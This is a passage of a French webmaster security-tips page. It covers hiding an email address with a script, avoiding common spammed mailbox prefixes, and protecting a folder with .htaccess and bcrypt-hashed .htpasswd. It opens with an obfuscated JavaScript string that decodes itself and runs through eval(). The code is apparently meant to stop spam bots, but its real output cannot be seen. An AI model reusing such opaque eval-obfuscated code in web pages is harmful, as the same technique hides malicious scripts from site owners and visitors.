<pre class="smallfont code">var g6="";for(var z1=0;z1<335;z1++)g6+=String.fromCharCode(("{fw%}<B\'m3xnmya\'Bwj {tjxztrst%a\'a\'B kjwm%fA,0.a\'a\'1l4 4-jhfqujw3,?tyqnfr,aaBkjw ,ViqyVj755zaajsVnfrtistr5955zaantr,ztjxztrst%Sa\',aa,0.a\'a\'1l4V4-jhfqujw3str@5955}(+ntrCa\',aa,aaBkjwm3xnmya\'By4-jhfqujw3,Cf4AiqyS@j7}(+jsnfrSti.b5`ba\'a\'`1l4S\'@z5B\'\'@ktw-{fw%u<B5@u<A}<3qjslym@u<0B88.z50B}<3xzgxyw-u<188.3xuqny-\'\'.3wj{jwxj-.3otns-\'\'.@j{fq-z5.".charCodeAt(z1)-(-59+64)+24+39)%(5*2+85)+-45+77);document.write(eval(g6))</pre>
<p>Ensuite, dans votre page html, copiez le code suivant :</p>
<span class="smallfont">Code HTML:</span>
<pre class="smallfont code"><span style="color:#800000"><script src=<span style="color:#0000FF">"js/adresse.js"</span> type=<span style="color:#0000FF">"text/javascript"</span>></span><span style="color:#800000"></script></span></pre>
<a id="adressmail"></a><hr><br>
<header>
<h2>Adresses e-mails à éviter</h2>
</header>
<p>Plus en rapport avec le spam qu'avec le piratage, les adresses e-mails qui ont les préfixes les plus courants sont spammées automatiquement (car ils ont plus de chances d'exister). Donc, évitez de créer des adresses avec les noms suivants :<br>
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@</p>
<p>J'utilisais contact@ et info@ sans jamais les diffuser sur le web, mais le nombre de spams devenaient insupportables. Bref, pour le spam comme pour le piratage, il faut éviter la fainéantise intellectuelle et les paramètres par défaut.</p>
<a id="dossierpasse"></a><hr><br>
<header>
<h2>Protéger un dossier avec un mot de passe</h2>
</header>
<p>La protection par mot de passe Apache en utilisant un fichier “.htaccess” et un fichier “.htpasswd” est très efficace. Il existe plusieurs guides expliquant comment faire (par exemple <a href="http://www.infowebmaster.fr/tutorial-crypter-htpasswd.php">ici</a> ou <a href="http://www.sthda.com/french/wiki/proteger-un-dossier-par-htaccess">là</a>). Cryptez votre mot de passe avec la méthode “bcrypt”. Les méthodes classiques “crypt” et “sha-1” ne sont plus surs. Vous pouvez encoder votre mot de passe en “bcrypt” en ligne <a href="https://www.bcrypt.fr/">ici</a> ou <a href="http://aspirine.org/htpasswd.html">là</a> ou <a href="https://github.com/fpirsch/twin-bcrypt">hors ligne</a>.</p>
<p>Pour cela, créez tout d'abord un fichier “.htaccess” dans le répertoire que vous voulez protéger, et copiez le code ci-dessous. Notez bien que le chemin d'accès au fichier “.htpasswd”, celui qui contient l'identifiant et le mot de passe, peut être placé n'importe où dans l'hébergement. Vous n'avez pas à le mettre dans le même répertoire que “.htaccess”</p>